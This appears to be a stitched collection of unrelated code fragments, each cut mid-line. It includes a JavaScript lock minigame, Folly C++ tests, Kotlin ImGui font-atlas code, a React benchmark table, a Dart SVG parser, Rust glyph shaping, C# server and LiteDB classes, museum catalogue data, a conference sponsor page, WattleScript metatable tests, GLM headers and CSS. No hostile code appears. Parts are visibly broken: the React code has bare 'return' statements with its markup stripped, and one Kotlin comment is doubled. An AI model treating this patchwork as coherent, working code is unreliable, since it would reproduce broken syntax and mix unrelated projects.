1A5,5 0 0,1 17,6V8H18M12,3A3,3 0 0,0 9,6V8H15V6A3,3 0 0,0 12,3Z"/></svg>
                    $${item.amount}
                `;
            } else {
                lockDiv.innerHTML = `

                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12,17A2,2 0 0,0 14,15C14,13.89 13.1,13 12,13A2,2 0 0,0 10,15A2,2 0 0,0 12,17M18,8A2,2 0 0,1 20,10V20A2,2 0 0,1 18,22H6A2,2 0 0,1 4,20V10C4,8.89 4.9,8 6,8H7V6A5,5 0 0,1 12,1A5,5 0 0,1 17,6V8H18M12,3A3,3 0 0,0 9,6V8H15V6A3,3 0 0,0 12,3Z"/></svg>
                `;
            }

            lockDiv.addEventListener('click', function() {
                if (this.classList.contains('unlocked') && !this.classList.contains('collected')) {
                    this.classList.add('collected');

                    const collectedItemIndex = parseInt(this.dataset.index);
                    collectedItems.push(collectedItemIndex);

                    this.style.transform = 'scale(0.85)';
                    setTimeout(() => {
                        this.style.transform = 'scale(0.9)';
                    }, 100);

                    endMinigame(true);
                }
            });

            lockElements.push(lockDiv);
        } else {
            lockDiv.className = 'lock empty';
            lockDiv.innerHTML = `
                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12,17A2,2 0 0,0 14,15C14,13.89 13.1,13 12,13A2,2 0 0,0 10,15A2,2 0 0,0 12,17M18,8A2,2 0 0,1 20,10V20A2,2 0 0,1 18,22H6A2,2 0 0,1 4,20V10C4,8.89 4.9,8 6,8H7V6A5,5 0 0,1 12,1A5,5 0 0,1 17,6V8H18M12,3A3,3 0 0,0 9,6V8H15V6A3,3 0 0,0 12,3Z"/></svg>
            `;

            lockElements.push(lockDiv);
        }

        locksContainer.appendChild(lockDiv);
    }

    setTimeout(() => {
        locks = document.querySelectorAll('.lock');

        const redBackground = document.createElement('div');
        redBackground.className = 'zone red-zone';
        redBackground.style.width = '100%';
        zoneContainer.appendChild(redBackground);

        const progressRect = document.querySelector('.progress-container').getBoundingClientRect();
        const progressWidth = progressRect.width;
        const progressLeft = progressRect.left;

        for (let i = 0; i < itemCount; i++) {
            const lockRect = locks[i].getBoundingClientRect();

            const lockCenter = lockRect.left + (lockRect.width / 2) - progressLeft;
            const positionPercent = (lockCenter / progressWidth) * 100;

            lockPositions.push(positionPercent);

            const itemChance = items[i].chance !== undefined ? items[i].chance : 50;

            const chanceRatio = Math.sqrt(itemChance / 100);
            const zoneWidth = MIN_ZONE_WIDTH + ((MAX_ZONE_WIDTH - MIN_ZONE_WIDTH) * chanceRatio);

            const halfZoneWidth = zoneWidth / 2;


her express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <folly/test/FBVectorTestUtil.h>

#include <list>
#include <string>

#include <folly/FBString.h>

namespace folly {
namespace test {
namespace detail {

RandomT rng(seed);

std::list<char> RandomList(unsigned int maxSize) {
  std::list<char> lst(random(0u, maxSize));
  std::list<char>::iterator i = lst.begin();
  for (; i != lst.end(); ++i) {
    *i = random('a', 'z');
  }
  return lst;
}

template <>
int randomObject<int>() {
  return random(0, 1024);
}

template <>
std::string randomObject<std::string>() {
  std::string result;
  randomString(&result);
  return result;
}

template <>
folly::fbstring randomObject<folly::fbstring>() {
  folly::fbstring result;
  randomString(&result);
  return result;
}
} // namespace detail
} // namespace test
} // namespace folly
/*
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <folly/ExceptionWrapper.h>

#include <memory>
#include <stdexcept>

#include <folly/Conv.h>
#include <folly/portability/GMock.h>
#include <folly/portability/GTest.h>

using namespace folly;
using namespace ::testing;

class AbstractIntException : public std::exception {
 public:
  virtual int getInt() const = 0;
};

class IntException : public AbstractIntException {
 public:
  explicit IntException(int i) : i_(i), what_(to<std::string>("int == ", i_)) {}

  int getInt() const override { return i_; }
  const char* what() const noexcept override { return what_.c_str(); }

 private:
  int i_;
  std::string what_;
};

const static std::string kExceptionClassName =
    demangle(typeid(std::exception)).toStdString();
const static std::string kRuntimeErrorClassName =
    demangle(typeid(std::runtime_error)).toStdString();
const static std::string kIntExceptionClassName =
    demangle(typeid(IntException)).toStdString();
const static std::string kIntClassName = demangle(typeid(int)).toStdString();

TEST(ExceptionWrapper, nothrow) {
  EXPECT_TRUE(std::is_nothrow_default_constructible<exception_wrapper>::value);
  EXPECT_TRUE(std::is_nothrow_move_constructible<exception_wrapper>::value);
  EXPECT_TRUE(std::is_nothrow_move_assignable<exception_wrapper>::value);
  EXPECT_TRUE(std::is_nothrow_copy_constructible<exception_wrapper>::value);
  EXPECT_TRUE(std::is_nothrow_copy_assignable<exception_wrapper>::value);
}

// Tests that when we call throw_exception, the proper type is thrown (derived


  assert(x >= 0 && x + w <= texWidth)
        assert(y >= 0 && y + h <= texHeight)
        var pStr = 0 //pStr_
        fun inStr(i: Int) = str[pStr + i]
        var outPixel = Ptr<Int>(texPixelsRGBA32!!.adr.L + x + (y * texWidth))
        var offY = 0
        while (offY < h) {
            for (offX in 0 until w)
                outPixel[offX] = if (inStr(offX) == inMarkerChar) inMarkerPixelValue else COL32_BLACK_TRANS
            offY++
            outPixel += texWidth
            pStr += w
        }
    }

    /** ~ImFontAtlasBuildRenderDefaultTexData */
    fun buildRenderDefaultTexData() {

        val r = getCustomRectByIndex(packIdMouseCursors)
        assert(r.isPacked)

        val w = texSize.x
        if (flags hasnt Flag.NoMouseCursors) {
            // Render/copy pixels
            assert(r.width == DefaultTexData.w * 2 + 1 && r.height == DefaultTexData.h)
            val xForWhite = r.x
            val xForBlack = r.x + DefaultTexData.w + 1
            texPixelsAlpha8?.run {
                buildRender8bppRectFromString(xForWhite, r.y, DefaultTexData.w, DefaultTexData.h, DefaultTexData.pixels, '.', 0xFF.b)
                buildRender8bppRectFromString(xForBlack, r.y, DefaultTexData.w, DefaultTexData.h, DefaultTexData.pixels, 'X', 0xFF.b)
            } ?: run {
                buildRender32bppRectFromString(xForWhite, r.y, DefaultTexData.w, DefaultTexData.h, DefaultTexData.pixels, '.', COL32_WHITE)
                buildRender32bppRectFromString(xForBlack, r.y, DefaultTexData.w, DefaultTexData.h, DefaultTexData.pixels, 'X', COL32_WHITE)
            }
        } else {
            // Render 4 white pixels
            assert(r.width == 2 && r.height == 2)
            val offset = r.x.i + r.y.i * w
            with(texPixelsAlpha8!!) {
                put(offset + w + 1, 0xFF.b)
                put(offset + w, 0xFF.b)
                put(offset + 1, 0xFF.b)
                put(offset, 0xFF.b)
            }
        }
        texUvWhitePixel = (Vec2(r.x, r.y) + 0.5f) * texUvScale
    }

    fun buildMultiplyCalcLookupTable(inBrightenFactor: Float) = CharArray(256) {
        val value = (it * inBrightenFactor).i
        (if (value > 255) 255 else (value and 0xFF)).c
    }

    fun buildMultiplyRectAlpha8(table: CharArray, pixels: UByteArray, rect: rectpack.Rect, stride: Int) {
        check(rect.w <= stride)
        var data = rect.x + rect.y * stride
        var j = rect.h
        while (j > 0) {
            var i = rect.w
            while (i > 0) {
                pixels[data] = table[pixels[data].i].code.ub
                i--; data++
            }
            j--; data += stride - rect.w
        }
    }

    companion object {

        fun buildRenderLinesTexData(atlas: FontAtlas) {

            if (atlas.flags has Flag.NoBakedLines)
                return

            // This generates a triangular shape in the texture, with the various line widths stacked on top of each other to allow interpolation between them
            val r = atlas.getCustomRectByIndex(atlas.packIdLines)
            assert(r.isPacked)
            for (n in 0 until DRAWLIST_TEX_LINES_WIDTH_MAX + 1) { // +1 because of the zero-width row { // +1 because of the zero-width row
                // Each line consists of at least two empty pixels at the ends,


"min": timings[0],
    "max": timings[timings.length - 1]
  };
}

function aggregate(query) {
  if (query.duration.length === 0) {
    return { query: query.query, className: "unsupported", unsupported: true }
  }
  var res = stats(query.duration);
  res.count = query.count;
  res.query = query.query;
  return res;
}

function stats_row(engines, name, className, stat) {
  return

            {name}
            {
              Object.entries(engines).map(kv => {
                var engine = kv[0];
                var engine_stats = kv[1];
                if (engine_stats !== undefined) {
                  return
                    {numberWithCommas(engine_stats[stat])} μs
                	;
                } else {
                  return
                    Some Unsupported Queries
                	;
                }
              })
            }

;
}

function details_list(engine_details) {
  return

    {
      engine_details.map(detail => {
        return
{detail}
;
      })
    }

;
}

class Benchmark extends React.Component {

  constructor(props) {
    super(props);
    this.state = {
      mode: "TOP_100",
      tag: null
    };
  }

  handleChangeMode(evt) {
    this.setState({ mode: evt.target.value });
  }

  handleChangeTag(evt) {
    var tag = evt.target.value;
    if (tag === "ALL") {
      this.setState({ "tag": undefined });
    } else {
      this.setState({ "tag": tag });
    }
  }

  filterQueries(queries) {
    let tag = this.state.tag;
    if (tag !== undefined) {
      return queries.filter(query => query.tags.indexOf(tag) >= 0);
    } else {
      return queries;
    }
  }

  generateDataView() {
    var engines = {}
    var queries = {}
    var details = this.props.data.details;
    var mode_data = this.props.data.results[this.state.mode];
    for (var engine in mode_data) {
      var engine_queries = mode_data[engine];
      engine_queries = Array.from(this.filterQueries(engine_queries));
      engine_queries = engine_queries.map(aggregate);
      var total = 0
      var p50 = 0
      var p90 = 0
      var p99 = 0
      var unsupported = false
      var all_latencies = []
      for (var query of engine_queries) {
        if (query.unsupported) {
          unsupported = true;
        } else {
          total += query.min;
          all_latencies.push(query.min);
        }
      }
      if (unsupported) {
        total = undefined;
        p50 = undefined;
        p90 = undefined;
        p99 = undefined;
      } else {
        total = (total / engine_queries.length) | 0;
        if (all_latencies.length !== 0) {
          all_latencies.sort(function(a, b) { return a - b; });
          p50 = all_latencies[Math.round((all_latencies.length - 1) * 0.5)];
          p90 = all_latencies[Math.round((all_latencies.length - 1) * 0.9)];
          p99 = all_latencies[Math.round((all_latencies.length - 1) * 0.99)];
        }
      }
      engines[engine] = unsupported ? undefined : { "average": total, "p50": p50, "p90": p90, "p99": p99 };
      for (let query of engine_queries) {
        var query_data = {};
        if (queries[quer


ion]) {
      adjustFunction ??= (v) {
        if (v.startsWith('url')) {
          print('SVGLoader: url access in attributes is not implemented.');
        }

        return v;
      };

      if (node.hasAttribute(svgName)) {
        style2[jsName] = adjustFunction(node.getAttribute(svgName));
      }
      if (stylesheetStyles[svgName] != null) {
        style2[jsName] = adjustFunction(stylesheetStyles[svgName]);
      }

      if (node.style != null) {
        var _style = node.style;
        var _value = _style.getPropertyValue(svgName);
        if (_value != "") {
          // print("svgName: ${svgName} value: ${_value} ");
          style2[jsName] = adjustFunction(_value);
        }
      }
    }

    num clamp(v) {
      return Math.max<num>(0, Math.min(1, parseFloatWithUnits(v)));
    }

    num positive(v) {
      return Math.max<num>(0, parseFloatWithUnits(v));
    }

    addStyle('fill', 'fill');
    addStyle('fill-opacity', 'fillOpacity', clamp);
    addStyle('fill-rule', 'fillRule');
    addStyle('opacity', 'opacity', clamp);
    addStyle('stroke', 'stroke');
    addStyle('stroke-opacity', 'strokeOpacity', clamp);
    addStyle('stroke-width', 'strokeWidth', positive);
    addStyle('stroke-linejoin', 'strokeLineJoin');
    addStyle('stroke-linecap', 'strokeLineCap');
    addStyle('stroke-miterlimit', 'strokeMiterLimit', positive);
    addStyle('visibility', 'visibility');

    return style2;
  }

  // http://www.w3.org/TR/SVG11/implnote.html#PathElementImplementationNotes

  getReflection(a, b) {
    return a - (b - a);
  }

  svgAngle(ux, uy, vx, vy) {
    var dot = ux * vx + uy * vy;
    var len = Math.sqrt(ux * ux + uy * uy) * Math.sqrt(vx * vx + vy * vy);
    var ang = Math.acos(Math.max(
        -1,
        Math.min(
            1,
            dot /
                len))); // floating point precision, slightly over values appear
    if ((ux * vy - uy * vx) < 0) ang = -ang;
    return ang;
  }

  /**
		 * https://www.w3.org/TR/SVG/implnote.html#ArcImplementationNotes
		 * https://mortoray.com/2017/02/16/rendering-an-svg-elliptical-arc-as-bezier-curves/ Appendix: Endpoint to center arc conversion
		 * From
		 * rx ry x-axis-rotation large-arc-flag sweep-flag x y
		 * To
		 * aX, aY, xRadius, yRadius, aStartAngle, aEndAngle, aClockwise, aRotation
		 */

  parseArcCommand(
      path, rx, ry, xAxisRotation, largeArcFlag, sweepFlag, start, end) {
    if (rx == 0 || ry == 0) {
      // draw a line if either of the radii == 0
      path.lineTo(end.x, end.y);
      return;
    }

    xAxisRotation = xAxisRotation * Math.PI / 180;

    // Ensure radii are positive
    rx = Math.abs(rx);
    ry = Math.abs(ry);

    // Compute (x1', y1')
    var dx2 = (start.x - end.x) / 2.0;
    var dy2 = (start.y - end.y) / 2.0;
    var x1p = Math.cos(xAxisRotation) * dx2 + Math.sin(xAxisRotation) * dy2;
    var y1p = -Math.sin(xAxisRotation) * dx2 + Math.cos(xAxisRotation) * dy2;

    // Compute (cx', cy')
    var rxs = rx * rx;
    var rys = ry * ry;
    var x1ps = x1p * x1p;
    var y1ps = y1p * y1p;

    // Ensure radii are large


.width += word.width;

                    for glyph in &mut word.glyphs {
                        glyph.byte_index += byte_index;
                        debug_assert!(text.get(glyph.byte_index..).is_some());
                    }

                    words.push(word);
                }

                byte_index += word.len();
            }

            if levels[run.start].is_rtl() {
                words.reverse();
            }

            for word in words {
                result.glyphs.extend(word.glyphs.clone());
            }

            result.final_byte_index = byte_index;

            if word_break_reached {
                break;
            }
        }
    }

    Ok(result)
}

fn shape_word(
    word: &str,
    hb_direction: rustybuzz::Direction,
    context: &mut TextContextImpl,
    paint: &Paint,
) -> Result<ShapedWord, ErrorKind> {
    // find_font will call the closure with each font matching the provided style
    // until a font capable of shaping the word is found
    context.find_font(paint, |(font_id, font)| {
        // Call harfbuzz
        let output = {
            let face = font.face_ref();

            let mut buffer = rustybuzz::UnicodeBuffer::new();
            buffer.push_str(word);
            buffer.set_direction(hb_direction);

            rustybuzz::shape(&face, &[], buffer)
        };

        let positions = output.glyph_positions();
        let infos = output.glyph_infos();

        let mut shaped_word = ShapedWord {
            glyphs: Vec::with_capacity(positions.len()),
            width: 0.0,
        };

        let mut has_missing = false;

        for (position, (info, c)) in positions.iter().zip(infos.iter().zip(word.chars())) {
            if info.glyph_id == 0 {
                has_missing = true;
            }

            let scale = font.scale(paint.font_size);

            let mut g = ShapedGlyph {
                x: 0.0,
                y: 0.0,
                c: c,
                byte_index: info.cluster as usize,
                font_id: font_id,
                codepoint: info.glyph_id,
                width: 0.0,
                height: 0.0,
                advance_x: position.x_advance as f32 * scale,
                advance_y: position.y_advance as f32 * scale,
                offset_x: position.x_offset as f32 * scale,
                offset_y: position.y_offset as f32 * scale,
                bearing_x: 0.0,
                bearing_y: 0.0,
                bitmap_glyph: false,
            };

            if let Some(glyph) = font.glyph(info.glyph_id as u16) {
                g.width = glyph.metrics.width * scale;
                g.height = glyph.metrics.height * scale;
                g.bearing_x = glyph.metrics.bearing_x * scale;
                g.bearing_y = glyph.metrics.bearing_y * scale;
                g.bitmap_glyph = glyph.path.is_none();
            }

            shaped_word.width += g.advance_x + paint.letter_spacing;
            shaped_word.glyphs.push(g);
        }

        (has_missing, shaped_word)
    })
}

// Calculates the x,y coordinates for each glyph based on their advances. Calculates total width and height of the shaped text run
fn layout(
    x: f32,
    y: f32,
    context: &mut TextContextImpl,
    res: &mut TextMetrics,
    paint: &Paint,
) -> Result<(), ErrorKind> {
    let mut cursor_x = x;
    let mut cursor_y = y;


using linker.messenger.wakeup;
using LiteDB;

namespace linker.messenger.store.file.wakeup
{

    public sealed class WakeupClientStore : IWakeupClientStore
    {
        private readonly Storefactory dBfactory;
        private readonly ILiteCollection<WakeupInfo> liteCollection;
        private readonly RunningConfig runningConfig;
        public WakeupClientStore(Storefactory dBfactory, RunningConfig runningConfig)
        {
            this.dBfactory = dBfactory;
            liteCollection = dBfactory.GetCollection<WakeupInfo>("wakeup");
            this.runningConfig = runningConfig;
        }
        public IEnumerable<WakeupInfo> GetAll(WakeupSearchInfo info)
        {
            IEnumerable<WakeupInfo> list = liteCollection.FindAll().Where(c => (c.Type & info.Type) > 0);

            if (string.IsNullOrWhiteSpace(info.Str) == false)
            {
                list = list.Where(c =>
                (c.Name != null && c.Name.Contains(info.


session by ID.
        /// </summary>
        /// <param name="sessionID">The session ID.</param>
        /// <returns></returns>
        public abstract TAppSession GetAppSessionByID(string sessionID);

        /// <summary>
        /// Gets the app session by ID.
        /// </summary>
        /// <param name="sessionID"></param>
        /// <returns></returns>
        IAppSession IAppServer.GetAppSessionByID(string sessionID)
        {
            return this.GetAppSessionByID(sessionID);
        }

        /// <summary>
        /// Gets the matched sessions from sessions snapshot.
        /// </summary>
        /// <param name="critera">The prediction critera.</param>
        public virtual IEnumerable<TAppSession> GetSessions(Func<TAppSession, bool> critera)
        {
            throw new NotSupportedException();
        }

        /// <summary>
        /// Gets all sessions in sessions snapshot.
        /// </summary>
        public virtual IEnumerable<TAppSession> GetAllSessions()
        {
            throw new NotSupportedException();
        }

        /// <summary>
        /// Gets the total session count.
        /// </summary>
        public abstract int SessionCount { get; }

        #region Server state

        private ServerSummary CreateServerSummary()
        {
            var type = ServerSummaryType;
            var serverSummary = (ServerSummary)Activator.CreateInstance(type);
            serverSummary.Name = Name;
            serverSummary.Listeners = Listeners;
            serverSummary.MaxConnectionNumber = Config.MaxConnectionNumber;
            return serverSummary;
        }

        /// <summary>
        /// Gets the type of the server state. The type must inherit from ServerState
        /// </summary>
        /// <value>
        /// The type of the server state.
        /// </value>
        protected virtual Type ServerSummaryType
        {
            get
            {
                return typeof(ServerSummary);
            }
        }

        private ServerSummary m_ServerSummary;

        /// <summary>
        /// Gets the state of the server.
        /// </summary>
        /// <value>


        "as/mobile-large/DP205481.jpg",
        0.75
    ),
    SearchData(
        1799,
        41756,
        "Snuff bottle",
        "snuff bottle|glass|snuff bottles",
        "as/mobile-large/DP321914.jpg",
        0.75
    ),
    SearchData(
        1316,
        42484,
        "Incense Burner in Shape of Lion (one of a pair)",
        "incense burner|porcelain with brown and raised decoration under celadon glaze (jingdezhen qingbai ware)|ceramics",
        "as/mobile-large/34_113_3_DT5091.jpg",
        0.58
    ),
    SearchData(
        1516,
        42525,
        "Bowl with Dragons",
        "bowl|porcelain painted with cobalt blue under transparent glaze (jingdezhen ware)|ceramics",
        "as/mobile-large/62566.jpg",
        1.02
    ),
    SearchData(
        1749,
        39859,
        "Brush holder with narrative scene",
        "brush holder|ivory|ivories",
        "as/mobile-large/DP318656.jpg",
        0.75
    ),
    SearchData(
        1149,
        39528,
        "Jar with Handles",
        "jar|stoneware with applied white slip ribs and black glaze (cizhou ware)|ceramics",
        "as/mobile-large/DP-14610-043.jpg",
        1.33
    ),
    SearchData(
        1771,
        13370,
        "Pickle Stand",
        "pickle stand|soft-paste porcelain|",
        "ad/mobile-large/DT5514.jpg",
        1.25
    ),
    SearchData(
        1366,
        39623,
        "Disk with dragons",
        "disk|ivory|ivories",
        "as/mobile-large/DP310102.jpg",
        0.75
    ),
    SearchData(
        1583,
        42526,
        "Dish with Gardenia",
        "dish|porcelain painted with cobalt blue under and colored enamel over transparent glaze (jingdezhen ware)|ceramics",
        "as/mobile-large/DP-14609-087.jpg",
        1.33
    ),
    SearchData(
        1683,
        42405,
        "Plate with Phoenix and Mythical Qilin",
        "plate|porcelain painted with colored enamels over transparent glaze (jingdezhen ware)|ceramics",
        "as/mobile-large/DP-14608-051.jpg",
        1.33
    ),
    SearchData(
        1849,
        41571,
        "Snuff bottle with landscape",
        "snuff bottle|mother-of-pearl with stained ivory and coral stopper|snuff bottles",
        "as/mobile-large/DP321887.jpg",
        0.75
    ),
    SearchData(
        1805,
        43306,
        "Covered box with floral design",
        "covered box|jade (nephrite)|jade",
        "as/mobile-large/183831.jpg",
        1.35
    ),
    SearchData(
        1199,
        78392,
        "Tea Bowl with Splashed Decoration",
        "tea bowl|stoneware with brown glaze and slip decoration|ceramics",
        "as/mobile-large/DP344325.jpg",
        1.33
    ),
    SearchData(
        689,
        42695,
        "Epitaph with Cover for Master Xu",
        "epitaph|limestone|sculpture",
        "as/mobile-large/DP256627.jpg",
        1.33
    ),
    SearchData(
        1805,
        43322,
        "Vase on Stand",
        "incense utensil|jade (nephrite)|jade",
        "as/


r>

Post-conference Social (Drinks) – (Sold Out)

Details

2 tickets to the event

Swag at the social

Logo on DevOpsDays Cape Town event website

Logo on event t-shirt

Demo a product (20 min) during Open Space Session

Shoutout via Twitter (@DevOpsDaysCPT)

Platinum Sponsor

Gold Sponsors
Become a Gold Sponsor!

Silver Sponsors
Become a Silver Sponsor!

Bronze Sponsors
Become a Bronze Sponsor!

Event dinner Sponsor

Closing drinks Sponsor

<a href


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using WattleScript.Interpreter.CoreLib;
using WattleScript.Interpreter.Execution;
using NUnit.Framework;

namespace WattleScript.Interpreter.Tests.EndToEnd
{
	[TestFixture]
	public class MetatableTests
	{
		[Test]
		public void TableIPairsWithMetatable()
		{
			string script = @"
				test = { 2, 4, 6 }

				meta = { }

				function meta.__ipairs(t)
					local function ripairs_it(t,i)
						i=i-1
						local v=t[i]
						if v==nil then return v end
						return i,v
					end

					return ripairs_it, t, #t+1
				end

				setmetatable(test, meta);

				x = '';

				for i,v in ipairs(test) do
					x = x .. i;
				end

				return x;";

			DynValue res = (new Script()).DoString(script);

			Assert.AreEqual(DataType.String, res.Type);
			Assert.AreEqual("321", res.String);
		}

		[Test]
		public void TableAddWithMetatable()
		{
			string script = @"
				v1 = { 'aaaa' }
				v2 = { 'aaaaaa' }

				meta = { }

				function meta.__add(t1, t2)
					local o1 = #t1[1];
					local o2 = #t2[1];

					return o1 * o2;
				end

				setmetatable(v1, meta);

				return(v1 + v2);";

			var S = new Script();
			Table globalCtx = S.Globals;

			globalCtx.RegisterModuleType<TableIteratorsModule>();
			globalCtx.RegisterModuleType<MetaTableModule>();

			DynValue res = S.DoString(script);

			Assert.AreEqual(DataType.Number, res.Type);
			Assert.AreEqual(24, res.Number);
		}

		[Test]
		public void MetatableEquality()
		{
			string script = @"
				t1a = {}
				t1b = {}
				t2  = {}
				mt1 = { __eq = function( o1, o2 ) return 'whee' end }
				mt2 = { __eq = function( o1, o2 ) return 'whee' end }

				setmetatable( t1a, mt1 )
				setmetatable( t1b, mt1 )
				setmetatable( t2,  mt2 )

				return ( t1a == t1b ), ( t1a == t2 )
				";

			DynValue res = (new Script()).DoString(script);

			Assert.AreEqual(DataType.Tuple, res.Type);
			Assert.AreEqual(true, res.Tuple[0].Boolean);
			Assert.AreEqual(false, res.Tuple[1].Boolean);

		}

		[Test]
		public void MetatableCall2()
		{
			string script = @"
					t = { }
					meta = { }

					x = 0;

					function meta.__call(f, y)
						x = 156 * y;
						return x;
					end

					setmetatable(t, meta);

					return t;
				";

			Script S = new Script();

			DynValue tbl = S.DoString(script);
			DynValue res = S.Call(tbl, 3);

			Assert.AreEqual(DataType.Number, res.Type);
			Assert.AreEqual(468, res.Number);

		}

		[Test]
		public void MetatableCall()
		{
			string script = @"
					t = { }
					meta = { }

					x = 0;

					function meta.__call(f, y)


 *= static_cast<float>(s); \
	} \
	 \
	template<typename T> \
	return_type_scalar_multiplication<T, Vec> \
	operator/(Vec lh, T const& s){ \
		return lh *= 1.0f / static_cast<float>(s); \
	}

GLM_IMPLEMENT_SCAL_MULT(vec2)
GLM_IMPLEMENT_SCAL_MULT(vec3)
GLM_IMPLEMENT_SCAL_MULT(vec4)

GLM_IMPLEMENT_SCAL_MULT(mat2)
GLM_IMPLEMENT_SCAL_MULT(mat2x3)
GLM_IMPLEMENT_SCAL_MULT(mat2x4)
GLM_IMPLEMENT_SCAL_MULT(mat3x2)
GLM_IMPLEMENT_SCAL_MULT(mat3)
GLM_IMPLEMENT_SCAL_MULT(mat3x4)
GLM_IMPLEMENT_SCAL_MULT(mat4x2)
GLM_IMPLEMENT_SCAL_MULT(mat4x3)
GLM_IMPLEMENT_SCAL_MULT(mat4)

#undef GLM_IMPLEMENT_SCAL_MULT
	/// @}
} // namespace glm
/// @ref gtx_pca
/// @file glm/gtx/pca.hpp
///
/// @see core (dependence)
/// @see ext_scalar_relational (dependence)
///
/// @defgroup gtx_pca GLM_GTX_pca
/// @ingroup gtx
///
/// Include <glm/gtx/pca.hpp> to use the features of this extension.
///
/// Implements functions required for fundamental 'princple component analysis' in 2D, 3D, and 4D:
///   1) Computing a covariance matrics from a list of _relative_ position vectors
///   2) Compute the eigenvalues and eigenvectors of the covariance matrics
/// This is useful, e.g., to compute an object-aligned bounding box from vertices of an object.
/// https://en.wikipedia.org/wiki/Principal_component_analysis
///
/// Example:
/// ```
/// std::vector<glm::dvec3> ptData;
/// // ... fill ptData with some point data, e.g. vertices
///
/// glm::dvec3 center = computeCenter(ptData);
///
/// glm::dmat3 covarMat = glm::computeCovarianceMatrix(ptData.data(), ptData.size(), center);
///
/// glm::dvec3 evals;
/// glm::dmat3 evecs;
/// int evcnt = glm::findEigenvaluesSymReal(covarMat, evals, evecs);
///
/// if(evcnt != 3)
///     // ... error handling
///
/// glm::sortEigenvalues(evals, evecs);
///
/// // ... now evecs[0] points in the direction (symmetric) of the largest spatial distribution within ptData
/// ```

#pragma once

// Dependency:
#include "../glm.hpp"
#include "../ext/scalar_relational.hpp"

#if GLM_MESSAGES == GLM_ENABLE && !defined(GLM_EXT_INCLUDED)
#	ifndef GLM_ENABLE_EXPERIMENTAL
#		pragma message("GLM: GLM_GTX_pca is an experimental extension and may change in the future. Use #define GLM_ENABLE_EXPERIMENTAL before including it, if you really want to use it.")
#	else
#		pragma message("GLM: GLM_GTX_pca extension included")
#	endif
#endif

namespace glm {
	/// @addtogroup gtx_pca
	/// @{

	/// Compute a covariance matrix form an array of relative coordinates `v` (e.g., relative to the center of gravity of the object)
	/// @param v Points to a memory holding `n` times vectors
	/// @param n Number of points in v
	template<length_t D, typename T, qualifier Q>
	GLM_INLINE mat<D, D, T, Q> computeCovarianceMatrix(vec<D, T, Q> const* v, size_t n);

	/// Compute a covariance matrix form an array of absolute coordinates `v` and a precomputed center of gravity `c`
	/// @param v Points to a memory holding `n` times vectors
	/// @param n N


;
    -ms-flex-pack: center;
    justify-content: center;
    -webkit-box-align: center;
    -ms-flex-align: center;
    align-items: center;
    padding: 1rem;
    border-left: 1px solid #ebedf2;
    border-bottom: 1px solid #ebedf2;
    -webkit-transition: all 0.3s;
    transition: all 0.3s; }
    @media screen\0 {
      .kt-grid-nav .kt-grid-nav__item {
        height: 160px; } }
    .kt-grid-nav .kt-grid-nav__item .kt-grid-nav__item-icon {
      display: inline-block;
      text-align: center;
      margin-bottom: 0.5rem; }
      .kt-grid-nav .kt-grid-nav__item .kt-grid-nav__item-icon i {
        font-size: 1.85rem;
        color: #74788d;
        opacity: 0.7; }
    .kt-grid-nav .kt-grid-nav__item .kt-grid-nav__item-title {
      display: inline-block;
      text-align: center;
      font-size: 1.1rem;
      font-weight: 500;
      color: #48465b; }
    .kt-grid-nav .kt-grid-nav__item .kt-grid-nav__item-desc {
      margin-top: 0.25rem;
      display: inline-block;
      text-align: center;
      font-size: 0.9rem;
      font-weight: 300;
      color: #74788d; }
    .kt-grid-nav .kt-grid-nav__item:hover {
      -webkit-transition: all 0.3s;
      transition: all 0.3s;
      -webkit-box-shadow: 0px 0px 50px 0px rgba(82, 63, 105, 0.15);
      box-shadow: 0px 0px 50px 0px rgba(82, 63, 105, 0.15);
      text-transform: none; }
      .kt-grid-nav .kt-grid-nav__item:hover .kt-grid-nav__item-icon i {
        opacity: 1;
        color: #007A5E; }

@media (max-width: 1024px) {
  .kt-grid-nav .kt-grid-nav__item {
    min-height: 80px; } }
  @media screen\0  and (max-width: 1024px) {
    .kt-grid-nav .kt-grid-nav__item {
      height: 80px; } }

.kt-head {
  position: relative;
  margin: 0;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -ms-flex-direction: column;
  flex-direction: column;
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
  -webkit-box-pack: center;
  -ms-flex-pack: center;
  justify-content: center;
  background-repeat: no-repeat;
  background-size: cover;
  background-position: center;
  padding: 1rem 1rem;
  min-height: 100px; }
  .kt-head.kt-head--sm {
    min-height: 70px; }
  @media screen\0 {
    .kt-head {
      height: 100px; } }
  .kt-head .kt-head__title {
    font-size: 1.4rem;
    font-weight: 500;
    text-align: center;
    color: #fff;
    margin: 0;
    padding: 0; }
  .kt-head .kt-head__sub {
    position: absolute;
    display: -webkit-box;
    display: -ms-flexbox;
    display:


\\nif (false) {\\n  var ExecutionEnvironment = require('fbjs/lib/ExecutionEnvironment');\\n  if (ExecutionEnvironment.canUseDOM && window.top === window.self) {\\n    // First check if devtools is not installed\\n    if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {\\n      // If we're in Chrome or Firefox, provide a download link if not installed.\\n      if (navigator.userAgent.indexOf('Chrome') > -1 && navigator.userAgent.indexOf('Edge') === -1 || navigator.userAgent.indexOf('Firefox') > -1) {\\n        // Firefox does not have the issue with devtools loaded over file://\\n        var showFileUrlMessage = window.location.protocol.indexOf('http') === -1 && navigator.userAgent.indexOf('Firefox') === -1;\\n        console.debug('Download the React DevTools ' + (showFileUrlMessage ? 'and use an HTTP server (instead of a file: URL) ' : '') + 'for a better development experience: ' + 'https://fb.me/react-devtools');\\n      }\\n    }\\n\\n    var testFunc = function testFn() {};\\n    process.env.NODE_ENV !== 'production' ? warning((testFunc.name || testFunc.toString()).indexOf('testFn') !== -1, \\\"It looks like you're using a 